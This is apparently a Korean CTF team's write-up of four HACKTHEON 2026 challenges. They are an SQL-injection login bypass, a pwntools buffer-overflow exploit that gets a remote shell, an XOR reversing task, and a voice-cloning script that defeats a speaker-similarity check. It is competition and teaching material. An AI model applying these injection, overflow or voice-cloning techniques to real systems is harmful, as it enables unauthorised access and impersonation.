

팀 이름 Team Name	1q2w3e4r
문 제 이 름 Question	simple-sqli

문제 풀이과정 작성 (캡처화면 필수) / Write-up Details (The screenshot is mandatory)

1. 주어진 파일 분석

```
INSERT INTO users (username, password, role, secret) VALUES
('guest', 'guest', 'user', 'nothing to see here'),
('admin', 'fake_password', 'admin', '{{FLAG}}');
```

[그림1] init.sql 11~13 line

Sql코드를 보면 users 테이블에 계정, 비밀번호, 역할, secret값을 INSERT 하는 것을 확인 할 수 있는데, 여기서 2개의 username값 guest와 admin을 확인할 수 있다.

```
username = request.form.get("username", "")
password = request.form.get("password", "")

query = (
    "SELECT username, role, secret FROM users "
    f"WHERE username = '{username}' AND password = '{password}'"
)
```

[그림2] app.py 41~47 line

위의 python 코드를 보면 사용자의 입력이 request.form.get() 함수를 통해서 입력값을 수신한 후 별도의 입력 검증이나 이스케이프 처리 없이 곧바로 쿼리 생성에 사용된다는 것을 확인할 수 있다.

그 후 수신한 username과 password는 f-string을 통해 SQL 쿼리에 직접 삽입된다. 이로 인해 사용자 입력이 쿼리의 데이터가 아닌 SQL 문법의 일부로 사용이 가능하다는 것을 확인할 수 있다.

2. 페이로드 생성

username 필드에 '를 삽입하면 쿼리 구조를 변조할 수 있다. 이를 이용해 다음과 같은 payload를 구성한다.

```
username: admin' --
password: 1q2w3e4r
```

완성되는 쿼리는 다음과 같다.

```
SELECT username, role, secret FROM users
WHERE username = 'admin' -- ' AND password = 1q2w3e4r
```

-- 이후의 구문은 주석으로 처리되어 password 조건이 무효화되며, admin 계정으로의 로그인에 성립된다.

3. 결과

Login

Sign InA

Welcome, admin!

User information retrieved from database

USERNAME	admin
ROLE	ADMIN
SECRET	hacktheon2026{d0nt_f0rget_the_sln gle_qu0te}

[← Back to login](#)

팀 이름 Team Name	1q2w3e4r
문 제 이 름 Question	Immutable

문제 풀이과정 작성 (캡처화면 필수) / Write-up Details (The screenshot is mandatory)

1. 주어진 파일 분석

```
root@f606809435a2:/pwn# checksec --file=immutable
[*] '/pwn/immutable'
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
SHSTK:     Enabled
IBT:       Enabled
Stripped:  No
```

[그림1] checksec 명령어로 바이너리에 적용된 보호 기법 확인

checksec 결과를 보면 x86_64에 little 엔디안 방식을 사용하고, Canary, NX, PIE, Full RELRO, SHSTK, IBT가 활성화되어 있음을 확인할 수 있다.

```
printf("Give me a input: ");
void var_98;
__isoc99_scanf("%s", &var_98);
int32_t var_18;

if (var_18 != 0xdeadbeef)
    puts("You lose..");
else
{
    puts("You win!");
    system("/bin/sh");
}
```

[그림2] Binary Ninja로 바이너리를 디컴파일한 모습

Binary Ninja로 바이너리를 디컴파일하면 다음과 같은 코드를 확인할 수 있다.

scanf("%s")는 입력 길이를 검증하지 않으므로 var_98 버퍼를 넘어 인접한 스택 변수를 덮어쓸 수 있다. var_18의 값이 0xdeadbeef와 같으면 system("/bin/sh")가 실행되므로, var_18을 0xdeadbeef로 덮어쓰는 것이 목표이다.

```

call    0x555555550d0 <printf@plt>
lea     rax,[rbp-0x90]
mov     rsi,rax
lea     rax,[rip+0xdae]          # 0x555555556016
mov     rdi,rax
mov     eax,0x0
call    0x555555550f0 <__isoc99_scanf@plt>
mov     eax,DWORD PTR [rbp-0x10]
cmp     eax,0xdeadbeef

```

[그림3] Pwndbg에서 disass main을 한 결과

scanf 호출 직전 lea rax, [rbp-0x90]으로 버퍼의 주소를 인자로 넘기고 있으며,

이후 mov eax, DWORD PTR [rbp-0x10]으로 비교 대상 변수를 불러와 cmp eax, 0xdeadbeef와 비교하고 있음을 확할 수 있다.

따라서 입력 버퍼의 시작 주소는 rbp-0x90, 비교 대상 변수의 주소는 rbp-0x10이며, 두 변수 사이의 거리는 $0x90 - 0x10 = 0x80 = 128$ bytes이다.

또한 canary가 저장되는 위치도 disass main의

```
0x000055555555201 <+24>:    mov     QWORD PTR [rbp-0x8],rax
```

이 부분을 보면 확인할 수 있다.

정리해보면, 각 변수의 위치는 다음과 같다.

rbp-0x90	입력 버퍼 시작
rbp-0x10	0xdeadbeef 비교하는 변수
rbp-0x08	canary

비교 대상 변수(rbp-0x10)는 canary(rbp-0x08)보다 낮은 주소에 위치한다. 따라서 128바이트를 채운 뒤 4바이트만 덮으면 canary를 건드리지 않고 비교 대상 변수를 0xdeadbeef로 덮어쓸 수 있다.

2. 페이로드 생성

입력 버퍼 시작(rbp-0x90)부터 비교 대상 변수(rbp-0x10)까지의 거리는 128byte.

따라서 페이로드는 128바이트의 패딩 이후 0xdeadbeef를 이어 붙이는 방식으로 구성한다. 0xdeadbeef는 x86-64 리틀 엔디안 환경이므로 `\xef\xbe\xad\xde`로 변환하여 전송해야 한다. pwntools의 `p32()`를 사용하면 된다.

```

from pwn import *

#p = process('./immutable')
p = remote('3.37.44.62', 33201)

payload = b'A' * 128
payload += p32(0xdeadbeef)

p.sendlineafter(b'Give me a input: ', payload)
p.interactive()

```

3. 결과

```
root@f606809435a2:/pwn# python3 imu.py
[+] Opening connection to 3.37.44.62 on port 33201: Done
[*] Switching to interactive mode
You win!
$ ls
flag
immutable
run.sh
$ cat flag
hacktheon2026{5b9cef2fd4f8ea1169b6565c542ed12883a34d8ae0cd16b4cd70e3c1090d1f1b18b
49fba65c74a9855d80d13c1847f7ead23009fb31208cd88c08fd53aa28c6e8e102e2e7cad3a2b}
$ █
```

팀 이름 Team Name	1q2w3e4r
문 제 이 름 Question	Recover It!

문제 풀이과정 작성 (캡처화면 필수) / Write-up Details (The screenshot is mandatory)

1. 주어진 파일 분석

```
int64_t s;
__builtin_memset(&s, 0, 0x64);
printf("Input: ");
__isoc99_scanf("%99s", &s);
int32_t result;

if (strlen(&s) == 0x40)
{
    for (int32_t i = 0; i <= 0x3f; i += 1)
        *(uint8_t*)(&s + (int64_t)i) ^= i + 0x67;

    if (memcmp(&s, &cmptable, 0x40))
        puts("Wrong..");
    else
        puts("Correct!");

    result = 0;
}
```

[그림1] Binary Ninja로 바이너리를 디컴파일한 모습

디컴파일 결과(사진1), 프로그램은 64바이트 입력을 받아 각 바이트에 $i + 0x67$ 을 XOR한 뒤 cmptable과 비교하는 단순한 구조임을 알 수 있다.

따라서 Correct!를 얻기 위한 조건은 아래와 같다.

$$s[i] \oplus (i + 0x67) == \text{cmptable}[i]$$

XOR 연산은 동일한 값으로 두 번 연산하면 원래 값으로 복원되는 성질을 가지므로, 역산을 하면 다음과 같다.

$$\text{flag}[i] = \text{cmptable}[i] \oplus (i + 0x67)$$

```
pwndbg> x/64bx &cmptable
0x555555558020 <cmptable>: 0x55 0x5a 0x0a 0x59 0x5f 0x09 0x55 0x5f
0x555555558028 <cmptable+8>: 0x56 0x14 0x43 0x4a 0x43 0x44 0x11 0x14
0x555555558030 <cmptable+16>: 0x41 0x48 0x4c 0x1e 0x42 0x1a 0x19 0x1c
0x555555558038 <cmptable+24>: 0x1c 0xb9 0xe3 0xe3 0xba 0xe5 0xe7 0xb1
0x555555558040 <cmptable+32>: 0xb6 0xec 0xbf 0xe8 0xb2 0xbd 0xba 0xbb
0x555555558048 <cmptable+40>: 0xeb 0xa6 0xf3 0xa1 0xf1 0xa4 0xa4 0xa0
0x555555558050 <cmptable+48>: 0xf4 0xac 0xa0 0xf9 0xff 0xa5 0xa9 0xa8
0x555555558058 <cmptable+56>: 0xad 0x94 0xc7 0x97 0x97 0x91 0xc6 0x95
```

[그림2] Pwndbg에서 cmptable의 데이터를 얻는다.

2. 페이로드 생성

앞서 도출한 아래 수식을 코드로 작성한다.

```
flag[i] = cmptable[i] ^ (i + 0x67)
```

```
cmptable = [  
    0x55, 0x5a, 0x0a, 0x59, 0x5f, 0x09, 0x55, 0x5f,  
    0x56, 0x14, 0x43, 0x4a, 0x43, 0x44, 0x11, 0x14,  
    0x41, 0x48, 0x4c, 0x1e, 0x42, 0x1a, 0x19, 0x1c,  
    0x1c, 0xb9, 0xe3, 0xe3, 0xba, 0xe5, 0xe7, 0xb1,  
    0xb6, 0xec, 0xbf, 0xe8, 0xb2, 0xbd, 0xba, 0xbb,  
    0xeb, 0xa6, 0xf3, 0xa1, 0xf1, 0xa4, 0xa4, 0xa0,  
    0xf4, 0xac, 0xa0, 0xf9, 0xff, 0xa5, 0xa9, 0xa8,  
    0xad, 0x94, 0xc7, 0x97, 0x97, 0x91, 0xc6, 0x95  
]  
  
flag = "".join(chr(cmptable[i] ^ (i + 0x67)) for i in range(64))  
print(f"FLAG{{{flag}}}")
```

3. 결과

```
root@f606809435a2:/pwn# python3 xor_r.py  
FLAG{22c34e819d2800db605d9fdb9ba9ab71d6b9175d6b3b016c49cd94624f545c3}
```

2026 HACKTHEON SEJONG

팀 이 름 Team Name	1q2w3e4r
문 제 이 름 Question	Voice Over

문제 풀이과정 작성 (캡처화면 필수) / Write-up Details (The screenshot is mandatory)

1. 주어진 환경 분석

[그림1] 주어진 사이트에 접속 후 sample_001.wav를 넣은 모습

웹페이지에 접속 후, 문제의 포함된 파일중 하나인 sample_001.wav를 넣어서 확인해보면

Target Sentence와 Submit Your Audio 두 가지 요소가 제공된다.

Target Sentence는 요청마다 랜덤하게 변경되는 것을 확인하였고, 또한 Speaker Similarity 조건이 존재하므로 단순 TTS 생성이 아닌 주어진 참조 음성을 학습하여 목소리를 복제해야 한다.

초기 시도로 gTTS를 이용해 TTS 파일을 생성했으나, Speaker Similarity가 0.5931에 그쳐 기준값 0.8을 충족하지 못했다. gTTS는 범용 합성 목소리이므로 참조 화자와의 유사도가 낮을 수밖에 없었다.

2. 코드작성

```
from TTS.api import TTS
from google.colab import files

uploaded = files.upload()

tts = TTS("tts_models/multilingual/multi-dataset/xtts_v2")

tts.tts_to_file(
    text="An SQL query goes into a bar, walks up to two tables and asks, 'Can I join you?'",
    speaker_wav=list(uploaded.keys()),
    language="en",
    file_path="last test.wav"
)

files.download(["last test.wav"])
```

[그림2] 최종코드

Speaker Similarity를 0.8 이상으로 높이려면 제공된 참조 음성 파일을 기반으로 화자를 복제하는 Voice Cloning 모델이 필요하다. 이를 위해 Coqui TTS의 XTTS v2 모델을 선택했다.

실행 환경은 Google Colab을 활용했다.

3. 결과

// VOICE CLONE CHALLENGE

Clone the target voice and speak the given sentence

Target Sentence

If you try to kill -9 Chuck Norris's programs, it backfires.

Submit Your Audio

Click or drag & drop your WAV file here

last test.wav

VERIFY

ACCESS GRANTED

Speaker Similarity	0.8962 / 0.8
Text Similarity	1.0000 / 0.8
Transcript"an SQL query goes into a bar, walks up to two tables and asks, can I join you?"	

hacktheon2026{b7d30e21e4106a6ca4d451a218f15a97}